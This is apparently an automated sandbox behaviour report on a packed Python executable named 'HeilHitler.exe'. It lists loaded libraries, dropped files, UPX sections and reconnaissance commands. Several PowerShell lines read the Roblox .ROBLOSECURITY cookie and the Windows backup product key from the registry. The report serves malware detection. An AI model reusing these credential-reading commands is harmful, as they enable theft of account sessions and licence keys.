Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Users\user\Desktop\HeilHitler.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: HeilHitler.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: HeilHitler.exe

Static file information: File size 6251402 > 1048576

Source: HeilHitler.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: HeilHitler.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: HeilHitler.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: HeilHitler.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: HeilHitler.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: HeilHitler.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: HeilHitler.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: HeilHitler.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: HeilHitler.exe
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.pdbhP source: powershell.exe, 00000026.00000002.1830812751.000002871BA75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: HeilHitler.exe, 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: HeilHitler.exe, 00000000.00000003.1677234536.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2040274922.00007FFE13341000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2039889853.00007FFE13301000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: HeilHitler.exe, 00000000.00000003.1677234536.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2040274922.00007FFE13341000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2038522061.00007FFE11EB1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2039368203.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: HeilHitler.exe, 00000001.00000002.2036487623.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000044.00000000.1908593127.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmp, rar.exe.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: HeilHitler.exe, 00000001.00000002.2039054275.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: HeilHitler.exe, 00000001.00000002.2039054275.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2039626853.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: \0q.pdb source: powershell.exe, 00000026.00000002.1894620467.000002873381B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: HeilHitler.exe, 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: HeilHitler.exe, 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2037493230.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2038127785.00007FFE11511000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2038813190.00007FFE11ED1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:15:42 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: HeilHitler.exe, 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2037789105.00007FFE10301000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.pdb source: powershell.exe, 00000026.00000002.1830812751.000002871BA75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmp

Source: HeilHitler.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: HeilHitler.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: HeilHitler.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: HeilHitler.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: HeilHitler.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline"

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 1_2_00007FFDFAF31940 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFDFAF31940

Source: 0qdpbrpq.dll.49.dr	Static PE information: real checksum: 0x0 should be: 0xc052
Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1286c2
Source: libffi-7.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9bb1
Source: python310.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x175084
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1116d
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x49ec0
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x11295
Source: HeilHitler.exe	Static PE information: real checksum: 0x600079 should be: 0x603940
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x13959
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9855f
Source: libssl-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x3a1a3
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1bc
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x121bd
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1f136
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x14f2d
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xe5dd
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x2283b
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x16d12

Source: libffi-7.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD692E4 push r10; retf	1_2_00007FFDFAD69350
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD6A2E5 push rsp; retf	1_2_00007FFDFAD6A2E6
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66C21 push r10; ret	1_2_00007FFDFAD66C23
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD69C02 push rsp; retf	1_2_00007FFDFAD69C03
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD691A3 push rdi; iretd	1_2_00007FFDFAD691A5
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD6A164 push rsp; ret	1_2_00007FFDFAD6A165
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD68F53 push r12; iretd	1_2_00007FFDFAD68F6A
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66F54 push r8; ret	1_2_00007FFDFAD66F5C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66F32 push r12; ret	1_2_00007FFDFAD66F4A
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD68EFE push r12; ret	1_2_00007FFDFAD68F25
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66ED0 push r12; ret	1_2_00007FFDFAD66EEE
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66EB6 push r10; retf	1_2_00007FFDFAD66EB9
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66E8C push rsp; iretd	1_2_00007FFDFAD66E8D
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66E9B push rsi; ret	1_2_00007FFDFAD66E9C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD68E66 push rbp; iretq	1_2_00007FFDFAD68E67
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD677EA push rsi; ret	1_2_00007FFDFAD67821
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66F8D push r10; ret	1_2_00007FFDFAD66FA0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD6855C push rbp; retf	1_2_00007FFDFAD68575
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66CEA push rdx; ret	1_2_00007FFDFAD66CF1
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66CF6 push r12; ret	1_2_00007FFDFAD66CF8
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66CCC push r8; ret	1_2_00007FFDFAD66CD9
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD6A4A9 push rdx; ret	1_2_00007FFDFAD6A500
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66E44 push rdi; iretd	1_2_00007FFDFAD66E46
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD66DFB push rsp; ret	1_2_00007FFDFAD66E03
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD685A7 push r12; ret	1_2_00007FFDFAD685E3
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD69D85 push rsp; iretq	1_2_00007FFDFAD69D86
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AB7D2A5 pushad ; iretd	7_2_00007FFD9AB7D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AC900BD pushad ; iretd	7_2_00007FFD9AC900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AC9861D push ebx; ret	7_2_00007FFD9AC9862A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AD69266 push esi; ret	7_2_00007FFD9AD69267
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD9ACB00BD pushad ; iretd	38_2_00007FFD9ACB00C1

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HeilHitler.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74322\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\HeilHitler.exe

